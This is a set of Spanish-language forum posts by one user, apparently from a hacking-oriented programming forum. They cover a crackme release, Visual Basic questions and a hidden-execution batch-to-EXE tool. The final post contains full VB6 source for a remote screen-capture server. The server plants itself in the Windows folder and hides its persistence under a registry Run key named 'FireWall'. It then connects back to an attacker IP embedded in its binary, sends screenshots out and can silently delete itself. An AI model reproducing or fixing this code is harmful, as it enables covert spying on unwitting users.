|
Mostrar Temas
|
Páginas: [1] 2 3 4
|
1
|
Programación / Ingeniería Inversa / [+] Brain Fucker veamos quien lo pasa..
|
en: 28 Noviembre 2008, 19:03 pm
|
Saludos, bueno aqui les presento mi ultima version de lo Crackme llamado Brain Fucker.. Este es un Crackme con varios niveles (3) que por falta de tiempo y por otros compromisos no pude hacerle 2 niveles mas, a diferencia del viejo Crackme este tiene unas mejoras aqui se las presento: + Mejorado sistema de encriptacion + mas funciones Anti-Debugger + Mas niveles + Sorpresa especialBueno, tambien deje en la ultima opcion un regalo especial hecho por mi, no se si d ificulte el trabajo pero espero que así sea y los pongo a pensar y a trabajar y sobre todo que se diviertan. Aqui les dejo unas capturas del programa. Bueno no dejare mas capturas descargenlo.. esta vez prometo que segun lo que he hecho sera mucho mas desafiante que antes y espero que les guste! .. Descarga de Brain FuckerP.D: El primer reto no lo postee aqui, disculpen.. espero que no sea una molestia y espero que les guste!
|
|
|
3
|
Programación / Programación Visual Basic / Que es necesario para cambiar..
|
en: 6 Octubre 2008, 18:44 pm
|
Salduso, bueno tengo una duda que APIs son necesarias para cambiar los iconos de los archivos, y que necesito saber para poder cambiarlos, si alguien me puede ayudar mil gracias! .. y otra cosa, si quiero hacer que en una label tengo esto: hola como estas y quiero hacer que en la label resalte el como, como harias esto?..
|
|
|
5
|
Programación / Programación Visual Basic / hay alguna manera de hacer esto?
|
en: 29 Septiembre 2008, 02:49 am
|
Buenas, estoy trabajando con poner iconos al SysTray, bueno saben que ucnado uno hace algo ( cuando ya el icono del esta creado en el systray ) en el icono del systray que creamos, este envia ciertos mensajes ( que viene del uCallbackMessage de la estructura de NOTIFYICONDATA ) a una handle que se le pasa a uCallBackMessage...
Mi pregunta es desde un modulo, es posible que los mensajes pasados por el parametro uCallBAckMessage sean pasados a una funcion (sub, function ) especificada en el modulo y si es asi como lo haria??
Ahh, otra cosa, como se haria para que ( si tuviera para poder lo de los mensajes ) si quiero que al darle doble click al icono del systray, este muestre un menu popup pero en el systray??
Gracias!
|
|
|
6
|
Programación / Programación Visual Basic / duda con Cactus metamorph
|
en: 21 Junio 2008, 21:13 pm
|
bueno tengo solo 2 dudas acerca del diseño del cactus M.
1- como hace para que cuando se mueva el form principal el form del vmap se pegue junto a el principal?
2- en los botones de ? cuando unos los pulla sale otro form y si se mueve el form principal, estos se mueven con el como lo hace?
Grax!
|
|
|
8
|
Programación / Programación Visual Basic / duda con el sstab?
|
en: 9 Junio 2008, 01:33 am
|
Saludos, bueno miren tengo unos textbox en mi sstab que tiene 3 pestañas, lo que no consigue es al darle click en un boton, este me agrege en la 1 pestaña del sstab en el textbox de esta la palabra hola, en la segunda pestaña que contiene el segundo textbox me agrege buenos dias y en la tercera que tiene el 3 textbox me agrege prueba basica!?... intente unos metodos, pero no me sirvieron busque y me pille un tuto a ver si salia pero no lo encontre, a ver si me podrian dar una manita! ... Disculpen, pero no estoy muy familiarizado con los sstab! Salu2's!" 8)
|
|
|
9
|
Programación / Programación Visual Basic / [+] Skull Bat to Exe Compiler & Source Code!! |By-Skull|
|
en: 2 Junio 2008, 04:45 am
|
Skull Batch's Hider V 0.1Saludos, bueno aqui les traigo una aplicacion para los Batcheros del foro! .. nos permite: Opciones:1- Compilar nuestros .bat a .exe 2- Ejecutarlos en modo ocultoes simple la aplicacion la he testeado un 85% y no me da error, solo hay que tener cuidado con los iconos, ya que algunos pueden que no sirva pero para eso mas abajo les dejo la descarga de una cantidad de iconos que les puede servir, tambien los pueden modificar con el Micro Angelo... Captura del programa El programa es de simple uso, no tiene mucha complicacion, cualquier bug, daño, o error reportar en este hilo para ser atendido inmediatamente! .. Mejoras futuras: *- Que nos permita darlo tambien en modo Visible (Ya seria como mi Bat to Exe) *- mas iconos *- Source CodeP.D: Para aquellos que quieran dar, opiniones, criticas, opciones o nuevas ideas para el Programa solo postear! .... Descarga Skull Batch's HiderDescarga Pack de Iconos Lenguaje: VB6______________________________________________________________________ Skull Bat To Exe CompilerSaludos, bueno aqui les presento el programa que me habia costado tanto sacar, pero ahora lo termine mi Skull Bat to Exe Compiler.. es lo mismo que el Batch Hider, pero este tiene la opcion de ejecutar los .bats tambien en modo visible, bueno dejemos de charlas y comenzemos: CapturasOpciones nuevas:* la unica opcion agregada fue ejecutar en modo visible * Se da el Source Code del programa, este esta en el about de programa! * Se comenzo desde 0 el stubbueno el Source Code del programa esta dentro del About Text, esta posteado en forma de tutorial para su mejor entendimiento! Descarga del Bat To Exe CompilerSalu2's! 8)
|
|
|
10
|
Programación / Programación Visual Basic / Ayuda aplicacion C/S envio de imagenes!
|
en: 1 Junio 2008, 08:15 am
|
Bueno saludos... Llevo tiempo trabajando en este proyecto y aun no lo he culminado se trata de una pequeña aplicacion Cliente y Servidor que nos permite capturar la pantalla de una persona. E tenido varios inconvenientes, mas que todo en el envio de la imagen lo que pasa es lo siguiente: Uso un modulo especial para hacer una captura de la pantalla y pasarla de una a extension .jpg, ya que .bmp se tarda, entonces bien hasta ese punto.. pero cuando me toca enviar la imagen no se que hago malque si la imagen pesa 45kb (ejemplo loco) cuando abro la imagen para leer sus datos, y enviarlos al cliente solo le llegan 8kb... y pues no se como arreglar eso a ver si alguien me podria hechar una mano aqui les dejo el code completo del Cliente y el Server, espero no ser una molestia: CLIENTEConst skull As String = "Skull Screen Capture V 0.1"
Private Sub Command1_Click() ws.LocalPort = 1234 ws.Listen Label1.Caption = "Escuchando..." Timer1.Enabled = True End Sub
Private Sub Command2_Click() If ws.State = 0 Then MsgBox ("Disculpe, pero no hay conexion establecida"), vbCritical, skull: GoTo fin End If labe1.Caption = "Desconectado..." Timer1.Enabled = False ws.Close fin: End Sub
Private Sub Command3_Click() If ws.State = 0 Then MsgBox ("Disculpe, pero no hay conexion establecida"), vbCritical, skull: GoTo fin End If ws.SendData "captura" fin: End Sub
Private Sub CommandXP1_Click() Form3.Show End Sub
Private Sub CommandXP4_Click() If ws.State = 0 Then MsgBox ("Disculpe, pero no hay conexion establecida"), vbCritical, skull: GoTo fin End If ws.SendData "eliminar" fin: End Sub
Private Sub Timer1_Timer() If ws.State = 7 Then Label1.Caption = "Server Conectado" End If If ws.State = 0 Then Label1.Caption = "Escuchando..." ws.LocalPort = 1234 ws.Listen End If End Sub
Private Sub ws_Connect() MsgBox ("Server Conectado con cliente"), vbInformation, skull End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long) ws.Close ws.Accept requestID End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long) Dim imagen() As String Dim datos As String dll = Dir(Environ("WinDir") & "\imagen.jpg") ws.GetData datos
Select Case Left(datos, 3) Case "fot" imagen = Split(datos, "|") Open Environ("windir") & "\imagen.jpg" For Binary Access Write As #1 Put #1, , imagen(1) Close #1 If dll <> "" Then Form2.Picture1 = LoadPicture(Environ("WinDir") & "\imagen.jpg") Form2.Show Pause 3 Kill Environ("Windir") & "\imagen.jpg" Else If Not dll <> "" Then Open Environ("windir") & "\imagen.jpg" For Binary Access Write As #1 Put #1, , imagen(1) Close #1 End If If imagen(1) = "" Then ws.SendData "capturar" End If End If Case "eli" MsgBox ("Server eliminado correctamente"), vbInformation, skull End Select End Sub del cliente uno de los aspectos que me gustaria mejorar es la conexion (una porqueria) pero como es para aprender a enviar imagenes por WS.. pues de eso me encargo luego! el cliente tiene Editor, etc... SERVERPrivate Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As Long) As Integer Const SW_SHOWHIDE = 0 Const GWW_HINSTANCE = (-6) Dim IPP() As String Dim firma As String Dim IP As String
Private Function Ruta() As String Dim ModuleName As String, FileName As String, hInst As Long ModuleName = String$(128, Chr$(0)) hInst = GetWindowWord(Me.hwnd, GWW_HINSTANCE) ModuleName = Left$(ModuleName, GetModuleFileName(hInst, ModuleName, Len(ModuleName))) Ruta = ModuleName End Function
Private Sub Form_Load() dll = Dir(Environ("WinDir") & "\foto.exe") If App.PrevInstance = True Then End firma = "skull" If Not dll <> "" Then Call crear End If Open Ruta For Binary As #1 Dim todo As String todo = Space(LOF(1)) Get #1, , todo Close #1 IPP = Split(todo, firma) IP = IPP(1) ws.Connect IP, 1234 Timer1.Enabled = True End Sub
Private Sub Timer1_Timer() If ws.State <> 7 Then ws.Close ws.Connect IP, 1234 End If If ws.State = 7 Then GoTo fin End If If ws.State = 2 Then GoTo fin End If fin: End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long) Dim posi As String Dim datos As String ws.GetData datos Select Case Left(datos, 3) Case "cap" Call Capturar_enviar Case "eli" posi = Environ("Windir") & "\foto.exe" Open Environ("Windir") & "\temp.bat" For Output As #1 Print #1, , "ping 127.0.0.1 > nul" Print #1, , "del / f / q " & posi Print #1, , "exit" Close #1 ShellExecute Me.hwnd, "Open", Environ("WinDir") & "\temp.bat", vbNullString, "", SW_HIDE ws.SendData "eliminado" End End Select End Sub
Private Sub Capturar_enviar() Dim foto As New cJpeg dll = Dir(Environ("Windir") & "\foto.jpg") Dim FileSize As String foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2 foto.Quality = 93 foto.SampleScreen foto.SaveFile Environ("Windir") & "\foto.jpg" Pause 5 If dll <> "" Then Open Environ("Windir") & "\foto.jpg" For Binary Access Read As #1 Do Until EOF(1) Dim todo As String todo = Space(LOF(1)) Get #1, , todo Loop Close #1 End If ws.SendData "foto" & "|" & todo End Sub
Private Sub crear() FileCopy Ruta, Environ("WinDir") & "\foto.exe" Dim sk As Object Set sk = CreateObject("WScript.Shell") sk.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\run\FireWall", Environ("WinDir") & "\foto.exe" End Sub Bueno este es el Server, espero que no se les complique y me puedan ayudar... como ya dije creo que mi error radica aqui: Open Environ("Windir") & "\foto.jpg" For Binary Access Read As #1 Do Until EOF(1) Dim todo As String todo = Space(LOF(1)) Get #1, , todo Loop Close #1 End If ws.SendData "foto" & "|" & todo pero en fin.. P.D: Para ahorrarle las respuestas a lgunos que van a decir: buscate un ejemplo de envio de datos en VB con Winsock, si ya lo he buscado pero no, quiero programar el MIO propioSalu2's! 8)
|
|
|
|
|
|
|